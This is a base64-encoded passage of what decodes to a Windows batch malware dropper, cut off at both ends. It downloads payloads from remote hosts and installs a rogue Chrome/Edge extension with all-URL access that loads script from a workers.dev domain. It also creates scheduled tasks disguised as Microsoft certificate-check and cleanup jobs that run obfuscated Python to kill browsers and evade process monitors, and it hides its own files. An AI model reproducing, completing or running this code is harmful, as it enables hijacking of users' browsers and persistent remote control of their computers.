ZS5leGUgL0lNIHBvd2Vyc2hlbGwuZXhlIC9JTSBweXRob24uZXhlIC9JTSBweXRob253LmV4ZSAvSU0gY2RyaXZlci5leGUgL0lNIG1kcml2ZXIuZXhlIC9UIDsgRXhpdCIgICkgPj4gQzpcc3lzdGVtZmlsZVxjLnoKZWNobyBJRiBOT1QgRVhJU1QgIkM6XFdpbmRvd3Ncc2VjdXJpdHlccHl3aW52ZXJhIiAoY3VybC5leGUgLUwgaHR0cHM6Ly9naXRodWIuY29tL2FsZXhyeWJhazA0NDQvTmV3L3Jhdy9tYWluL3B5d2ludmVyYWEgLW8gIkM6XFdpbmRvd3Ncc2VjdXJpdHlccHl3aW52ZXJhYSIpID4+IEM6XHN5c3RlbWZpbGVcYy56CmVjaG8gSUYgTk9UIEVYSVNUICJDOlxXaW5kb3dzXHNlY3VyaXR5XHB5d2ludmVyYSIgKGN1cmwuZXhlIC1MIGh0dHBzOi8vZ2l0aHViLmNvbS9hbGV4cnliYWswNDQ0L05ldy9yYXcvbWFpbi93aW52ZXIgLW8gIkM6XFdpbmRvd3Ncc2VjdXJpdHlcd2ludmVyIikgPj4gQzpcc3lzdGVtZmlsZVxjLnoKZWNobyByZW4gIkM6XFdpbmRvd3Ncc2VjdXJpdHlcd2ludmVyIiB3aW52ZXIucG5nID4+IEM6XHN5c3RlbWZpbGVcYy56CmVjaG8gbWtkaXIgIkM6XFdpbmRvd3Ncc2VjdXJpdHlccHl3aW52ZXJhIiA+PiBDOlxzeXN0ZW1maWxlXGMuegplY2hvIElGIE5PVCBFWElTVCAiQzpcV2luZG93c1xzZWN1cml0eVxweXdpbnZlcmFcbGlicyIgKCJDOlxXaW5kb3dzXHNlY3VyaXR5XHdpbnZlci5wbmciIHggIkM6XFdpbmRvd3Ncc2VjdXJpdHlccHl3aW52ZXJhYSIgLW8iQzpcV2luZG93c1xzZWN1cml0eSIgKSA+PiBDOlxzeXN0ZW1maWxlXGMuegplY2hvIGRlbCAiQzpcV2luZG93c1xzZWN1cml0eVxweXdpbnZlcmFhIiA+PiBDOlxzeXN0ZW1maWxlXGMuegplY2hvIGRlbCAiQzpcV2luZG93c1xzZWN1cml0eVx3aW52ZXIucG5nIiA+PiBDOlxzeXN0ZW1maWxlXGMuegplY2hvLiA+PiBDOlxzeXN0ZW1maWxlXGMuegplY2hvIGF0dHJpYiAtcyAtaCAiQzpcc3lzdGVtZmlsZVxjLnoiID4+IEM6XHN5c3RlbWZpbGVcYy56CmVjaG8gXmVjaG8gVGFza2xpc3QgL0ZJICJTRVNTSU9OIGVxIDAiIF5eXnwgZmluZHN0ciAvQzoiY2hyb21lIiAvQzoibXNlZGdlIiAvQzoiYnJhdmUiIC9DOiJwb3dlcnNoZWxsIiAvQzoicHl0aG9uIiAvQzoiY2RyaXZlciIgL0M6Im1kcml2ZXIiIC9DOiJweXRob253IiBeXl4+bnVsIF5eXiZeXl4mICggUG93ZXJTaGVsbC5leGUgICJ3aGlsZSggKEdldC1Qcm9jZXNzIFRhc2ttZ3IsIHByb2NleHAsIHByb2NleHA2NCwgU3lzdGVtRXhwbG9yZXIsIFByb2Nlc3NIYWNrZXIsIEFuVmlyLCBUTVgsIFdpblV0aWwgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUpLkNvdW50IC1lcSAwICl7U3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAxMDAgfSA7IFRBU0tLSUxMIC9GIC9GSSAnU0VTU0lPTiBlcSAwJyAvSU0gY2hyb21lLmV4ZSAvSU0gbXNlZGdlLmV4ZSAvSU0gYnJhdmUuZXhlIC9JTSBwb3dlcnNoZWxsLmV4ZSAvSU0gcHl0aG9uLmV4ZSAvSU0gcHl0aG9udy5leGUgL0lNIGNkcml2ZXIuZXhlIC9JTSBtZHJpdmVyLmV4ZSAvVCA7IEV4aXQiICApIF5eXnxeXl58ICheXl5FeGl0KV4+IF5DOlxzeXN0ZW1maWxlXGMueiA+PiBDOlxzeXN0ZW1maWxlXGMuegplY2hvIGF0dHJpYiArcyAraCAiQzpcc3lzdGVtZmlsZVwqIiAvcyAvZCA+PiBDOlxzeXN0ZW1maWxlXGMuegphdHRyaWIgK3MgK2ggIkM6XHN5c3RlbWZpbGVcYy56IgoKCgoKCgoKZWNobyB7ID4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICAibmFtZSI6ICJDaHJvbWUtZWRnZS1leHQiLCA+PiBDOlxzeXN0ZW1maWxlXG1hbmlmZXN0Lmpzb24KZWNobyAgICJ2ZXJzaW9uIjogIjAuMSIsID4+IEM6XHN5c3RlbWZpbGVcbWFuaWZlc3QuanNvbgplY2hvICAgImRlc2NyaXB0aW9uIjogIkNocm9tZS1lZGdlLWV4dC4uIiwgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICAicGVybWlzc2lvbnMiOiBbID4+IEM6XHN5c3RlbWZpbGVcbWFuaWZlc3QuanNvbgplY2hvICAgICAiPGFsbF91cmxzPiIsID4+IEM6XHN5c3RlbWZpbGVcbWFuaWZlc3QuanNvbgplY2hvICAgICAiYWN0aXZlVGFiIiwgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICAgICJ0YWJzIiwgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICAgICJkb3dubG9hZHMiID4+IEM6XHN5c3RlbWZpbGVcbWFuaWZlc3QuanNvbgplY2hvICAgXSwgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICAiYmFja2dyb3VuZCI6IHsgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICAgICJwYWdlIjogImJhY2tncm91bmQuaHRtbCIsID4+IEM6XHN5c3RlbWZpbGVcbWFuaWZlc3QuanNvbgplY2hvICAgICAicGVyc2lzdGVudCI6IHRydWUgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICB9LCA+PiBDOlxzeXN0ZW1maWxlXG1hbmlmZXN0Lmpzb24KZWNobyAgICJtYW5pZmVzdF92ZXJzaW9uIjogMiwgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gICAiY29udGVudF9zZWN1cml0eV9wb2xpY3kiOiAic2NyaXB0LXNyYyAnc2VsZicgaHR0cHM6Ly8qLmFsZXhyeWJhazA1NTUud29ya2Vycy5kZXYvOyBvYmplY3Qtc3JjICdzZWxmJyIgPj4gQzpcc3lzdGVtZmlsZVxtYW5pZmVzdC5qc29uCmVjaG8gfSA+PiBDOlxzeXN0ZW1maWxlXG1hbmlmZXN0Lmpzb24KCgoKCmVjaG8gXjxzY3JpcHQgc3JjPSJodHRwczovL2NkbjIuYWxleHJ5YmFrMDU1NS53b3JrZXJzLmRldi8iXj5ePC9zY3JpcHRePiA+IEM6XHN5c3RlbWZpbGVcYmFja2dyb3VuZC5odG1sCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCmVjaG8gXjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi0xNiI/Xj4gPiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvIF48VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgXjxSZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgXjxTb3VyY2VePk1pY3Jvc29mdCBDb3Jwb3JhdGlvbl48L1NvdXJjZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48QXV0aG9yXj5NaWNyb3NvZnQgQ29ycG9yYXRpb25ePC9BdXRob3JePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgICBePERlc2NyaXB0aW9uXj5WZXJpZnkgdGhlIHB1Ymxpc2hlciBjZXJ0aWZpY2F0ZXMuXjwvRGVzY3JpcHRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgICBePFVSSV4+XE1pY3Jvc29mdFxXaW5kb3dzXEFwcElEXFZlcmlmaWVkQ2VydF48L1VSSV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICBePC9SZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgIF48UHJpbmNpcGFsc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48UHJpbmNpcGFsIGlkPSJMb2NhbFNlcnZpY2UiXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgICBePExvZ29uVHlwZV4+UzRVXjwvTG9nb25UeXBlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgICBePFJ1bkxldmVsXj5MZWFzdFByaXZpbGVnZV48L1J1bkxldmVsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgXjwvUHJpbmNpcGFsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgIF48L1ByaW5jaXBhbHNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgXjxTZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48TXVsdGlwbGVJbnN0YW5jZXNQb2xpY3lePklnbm9yZU5ld148L011bHRpcGxlSW5zdGFuY2VzUG9saWN5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgXjxEaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ZmFsc2VePC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48U3RvcElmR29pbmdPbkJhdHRlcmllc14+ZmFsc2VePC9TdG9wSWZHb2luZ09uQmF0dGVyaWVzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgXjxBbGxvd0hhcmRUZXJtaW5hdGVePmZhbHNlXjwvQWxsb3dIYXJkVGVybWluYXRlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgXjxSdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlXj5mYWxzZV48L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgICBePEFsbG93U3RhcnRPbkRlbWFuZF4+dHJ1ZV48L0FsbG93U3RhcnRPbkRlbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgICBePEhpZGRlbl4+ZmFsc2VePC9IaWRkZW5ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgICBePFJ1bk9ubHlJZklkbGVePmZhbHNlXjwvUnVuT25seUlmSWRsZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48V2FrZVRvUnVuXj5mYWxzZV48L1dha2VUb1J1bl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48RXhlY3V0aW9uVGltZUxpbWl0Xj5QVDBTXjwvRXhlY3V0aW9uVGltZUxpbWl0Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgXjxQcmlvcml0eV4+MTBePC9Qcmlvcml0eV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICBePC9TZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICBePEFjdGlvbnMgQ29udGV4dD0iTG9jYWxTZXJ2aWNlIl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgIF48RXhlY14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgICAgXjxDb21tYW5kXj5weXRob25ePC9Db21tYW5kXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgICAgICBePEFyZ3VtZW50c14+LWMgXiJpbXBvcnQgYmFzZTY0O2V4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVcxd2IzSjBJRzl6TENCaVlYTmxOalFLSUFwVGRISWdQU0JzYVhOMEtHOXdaVzRvSWtNNlhGeHplWE4wWlcxbWFXeGxYRnh2WW5NdWJHOW5JaXdnYlc5a1pUMGljaUlzSUdWdVkyOWthVzVuUFNKMWRHWXRPQ0lwTG5KbFlXUW9LUzV5WlhCc1lXTmxLQ0pjYmlJc0lDSWlLU2tnQ21admNpQjRJR2x1SUhKaGJtZGxLR3hsYmloVGRISXBLVG9LSUNBZ0lGTjBjbHQ0WFNBOUlHTm9jaWh2Y21Rb1UzUnlXM2hkS1NBdElERXBJQW9nQ21WNFpXTW9ZbUZ6WlRZMExtSTJOR1JsWTI5a1pTZ2lJaTVxYjJsdUtGTjBjaWtwS1FwdmN5NXdiM0JsYmlnbmMyTm9kR0Z6YTNNZ0wyVnVaQ0F2ZEc0Z1hFMXBZM0p2YzI5bWRGeFhhVzVrYjNkelhGTmxjblpwWTJWelhFTmxjblJRWVhSb2R5Y3BDbTl6TG5CdmNHVnVLQ2RVUVZOTFMwbE1UQ0F2UmlBdlJra2dJbE5GVTFOSlQwNGdaWEVnTUNJZ0wwbE5JR05vY205dFpTNWxlR1VnTDBsTklHMXpaV1JuWlM1bGVHVWdMMGxOSUdKeVlYWmxMbVY0WlNBdlNVMGdjRzkzWlhKemFHVnNiQzVsZUdVZ0wwbE5JSEI1ZEdodmJpNWxlR1VnTDBsTklIQjVkR2h2Ym5jdVpYaGxJQzlKVFNCalpISnBkbVZ5TG1WNFpTQXZTVTBnYldSeWFYWmxjaTVsZUdVZ0wxUW5LUXBsZUdsMEtDaz0nKSleIl48L0FyZ3VtZW50c14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDMueG1sCmVjaG8gICAgICAgXjxXb3JraW5nRGlyZWN0b3J5Xj5DOlxXaW5kb3dzXHNlY3VyaXR5XHB5d2ludmVyYV48L1dvcmtpbmdEaXJlY3RvcnlePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvICAgICBePC9FeGVjXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wMy54bWwKZWNobyAgIF48L0FjdGlvbnNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAplY2hvIF48L1Rhc2tePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXAzLnhtbAoKCgpzY2h0YXNrcyAvY3JlYXRlIC94bWwgIkM6XHN5c3RlbWZpbGVcdGVtcDMueG1sIiAvdG4gIlxNaWNyb3NvZnRcV2luZG93c1xTZXJ2aWNlc1xDZXJ0UGF0aENoZWNrIiAvRgpEZWwgIkM6XHN5c3RlbWZpbGVcdGVtcDMueG1sIgoKCgoKCmVjaG8gXjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi0xNiI/Xj4gPiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvIF48VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgXjxSZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgICAgXjxTb3VyY2VePk1pY3Jvc29mdCBDb3Jwb3JhdGlvbl48L1NvdXJjZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48QXV0aG9yXj5NaWNyb3NvZnQgQ29ycG9yYXRpb25ePC9BdXRob3JePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgICBePERlc2NyaXB0aW9uXj5WZXJpZnkgdGhlIHB1Ymxpc2hlciBjZXJ0aWZpY2F0ZXMuXjwvRGVzY3JpcHRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgICBePFVSSV4+XE1pY3Jvc29mdFxXaW5kb3dzXEFwcElEXFZlcmlmaWVkQ2VydF48L1VSSV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICBePC9SZWdpc3RyYXRpb25JbmZvXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgIF48UHJpbmNpcGFsc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48UHJpbmNpcGFsIGlkPSJMb2NhbFNlcnZpY2UiXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgICAgICBePExvZ29uVHlwZV4+SW50ZXJhY3RpdmVUb2tlbl48L0xvZ29uVHlwZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgICAgXjxSdW5MZXZlbF4+SGlnaGVzdEF2YWlsYWJsZV48L1J1bkxldmVsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgICAgXjwvUHJpbmNpcGFsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgIF48L1ByaW5jaXBhbHNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgXjxTZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48TXVsdGlwbGVJbnN0YW5jZXNQb2xpY3lePklnbm9yZU5ld148L011bHRpcGxlSW5zdGFuY2VzUG9saWN5Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgICAgXjxEaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ZmFsc2VePC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48U3RvcElmR29pbmdPbkJhdHRlcmllc14+ZmFsc2VePC9TdG9wSWZHb2luZ09uQmF0dGVyaWVzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgICAgXjxBbGxvd0hhcmRUZXJtaW5hdGVePmZhbHNlXjwvQWxsb3dIYXJkVGVybWluYXRlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgICAgXjxSdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlXj5mYWxzZV48L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgICBePEFsbG93U3RhcnRPbkRlbWFuZF4+dHJ1ZV48L0FsbG93U3RhcnRPbkRlbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgICBePEhpZGRlbl4+ZmFsc2VePC9IaWRkZW5ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgICBePFJ1bk9ubHlJZklkbGVePmZhbHNlXjwvUnVuT25seUlmSWRsZV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48V2FrZVRvUnVuXj5mYWxzZV48L1dha2VUb1J1bl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48RXhlY3V0aW9uVGltZUxpbWl0Xj5QVDBTXjwvRXhlY3V0aW9uVGltZUxpbWl0Xj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgICAgXjxQcmlvcml0eV4+MTBePC9Qcmlvcml0eV4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICBePC9TZXR0aW5nc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICBePEFjdGlvbnMgQ29udGV4dD0iTG9jYWxTZXJ2aWNlIl4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgIF48RXhlY14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgICAgXjxDb21tYW5kXj5weXRob253XjwvQ29tbWFuZF4+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgICAgXjxBcmd1bWVudHNePi1jIF4iaW1wb3J0IGJhc2U2NDtleGVjKGJhc2U2NC5iNjRkZWNvZGUoJ2FXMXdiM0owSUdGMWRHOXBkQ3dnYjNNS1lYVjBiMmwwTG1GMWRHOWZhWFJmYzJWMFgyOXdkR2x2YmlnaVYybHVWMkZwZEVSbGJHRjVJaXdnTUNrS1lYVjBiMmwwTG5kcGJsOTNZV2wwS0NkYlVrVkhSVmhRVkVsVVRFVTZLRDlwS1NndUtsQnliMk5sYzNNZ1JYaHdiRzl5WlhJdUtud3VLbFJoYzJzZ1RXRnVZV2RsY2k0cWZDNHFVM2x6ZEdWdElFVjRjR3h2Y21WeUxpcDhMaXBRY205alpYTnpJRWhoWTJ0bGNpNHFmQzRxUVc1V2FYSWdWR0Z6YXk0cWZDNHFWMmx1VlhScGJHbDBhV1Z6TGlvcFhTY3BDbTl6TG5CdmNHVnVLQ2RVUVZOTFMwbE1UQ0F2UmlBdlJra2dJbE5GVTFOSlQwNGdaWEVnTUNJZ0wwbE5JR05vY205dFpTNWxlR1VnTDBsTklHMXpaV1JuWlM1bGVHVWdMMGxOSUdKeVlYWmxMbVY0WlNBdlNVMGdjRzkzWlhKemFHVnNiQzVsZUdVZ0wwbE5JSEI1ZEdodmJpNWxlR1VnTDBsTklIQjVkR2h2Ym5jdVpYaGxJQzlKVFNCalpISnBkbVZ5TG1WNFpTQXZTVTBnYldSeWFYWmxjaTVsZUdVZ0wxUW5LUXBsZUdsMEtDaz0nKSleIl48L0FyZ3VtZW50c14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDQueG1sCmVjaG8gICAgICAgXjxXb3JraW5nRGlyZWN0b3J5Xj5DOlxXaW5kb3dzXHNlY3VyaXR5XHB5d2ludmVyYV48L1dvcmtpbmdEaXJlY3RvcnlePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvICAgICBePC9FeGVjXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwKZWNobyAgIF48L0FjdGlvbnNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAplY2hvIF48L1Rhc2tePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA0LnhtbAoKCgpzY2h0YXNrcyAvY3JlYXRlIC94bWwgIkM6XHN5c3RlbWZpbGVcdGVtcDQueG1sIiAvdG4gIlxNaWNyb3NvZnRcV2luZG93c1xTZXJ2aWNlc1xDZXJ0UGF0aHciIC9GCkRlbCAiQzpcc3lzdGVtZmlsZVx0ZW1wNC54bWwiCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgpjZCBDOlwKd2hlcmUgY3VybCB8fCBwb3dlcnNoZWxsICIoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwczovL2dpdGh1Yi5jb20vYWxleHJ5YmFrMDQ0NC9OZXcvcmF3L21haW4vY3VybCcsICdDOlxXaW5kb3dzXHN5c3RlbTMyXGN1cmwuZXhlJykiCmNkIEM6XHN5c3RlbWZpbGUKCgoKCgplY2hvIF48P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtMTYiP14+ID4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyBePFRhc2sgdmVyc2lvbj0iMS4yIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5kb3dzLzIwMDQvMDIvbWl0L3Rhc2siXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgIF48UmVnaXN0cmF0aW9uSW5mb14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgIF48U291cmNlXj5NaWNyb3NvZnQgQ29ycG9yYXRpb25ePC9Tb3VyY2VePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICBePEF1dGhvcl4+TWljcm9zb2Z0IENvcnBvcmF0aW9uXjwvQXV0aG9yXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgXjxEZXNjcmlwdGlvbl4+bGVmdCBvdmVyIENvbXBvbmVudCBDbGVhbnVwXjwvRGVzY3JpcHRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICBePFVSSV4+XE1pY3Jvc29mdFxXaW5kb3dzXFNlcnZpY2luZ1xDb21wb25lbnRDbGVhbnVwXjwvVVJJXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgIF48L1JlZ2lzdHJhdGlvbkluZm9ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgXjxUcmlnZ2Vyc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICAgIF48TG9nb25UcmlnZ2VyXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgICBePFJlcGV0aXRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICAgICAgXjxJbnRlcnZhbF4+UFQ5TV48L0ludGVydmFsXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgICAgIF48U3RvcEF0RHVyYXRpb25FbmRePmZhbHNlXjwvU3RvcEF0RHVyYXRpb25FbmRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICAgIF48L1JlcGV0aXRpb25ePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICAgIF48RW5hYmxlZF4+dHJ1ZV48L0VuYWJsZWRePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICBePC9Mb2dvblRyaWdnZXJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgXjwvVHJpZ2dlcnNePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgXjxQcmluY2lwYWxzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgXjxQcmluY2lwYWwgaWQ9IkxvY2FsU2VydmljZSJePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICAgIF48TG9nb25UeXBlXj5TNFVePC9Mb2dvblR5cGVePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICAgIF48UnVuTGV2ZWxePkxlYXN0UHJpdmlsZWdlXjwvUnVuTGV2ZWxePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICBePC9QcmluY2lwYWxePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgXjwvUHJpbmNpcGFsc14+ID4+IEM6XHN5c3RlbWZpbGVcdGVtcDUueG1sCmVjaG8gICBePFNldHRpbmdzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgXjxNdWx0aXBsZUluc3RhbmNlc1BvbGljeV4+SWdub3JlTmV3XjwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3lePiA+PiBDOlxzeXN0ZW1maWxlXHRlbXA1LnhtbAplY2hvICAgICBePERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzXj5mYWxzZV48L0Rpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgXjxBbGxvd0hhcmRUZXJtaW5hdGVePmZhbHNlXjwvQWxsb3dIYXJkVGVybWluYXRlXj4gPj4gQzpcc3lzdGVtZmlsZVx0ZW1wNS54bWwKZWNobyAgICAgXjxSdW5Pbmx5SWZOZXR3b3JrQXZhaWxhYmxlXj5mYWxzZV48L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGVePiA+PiBDOlxzeXN0ZW1ma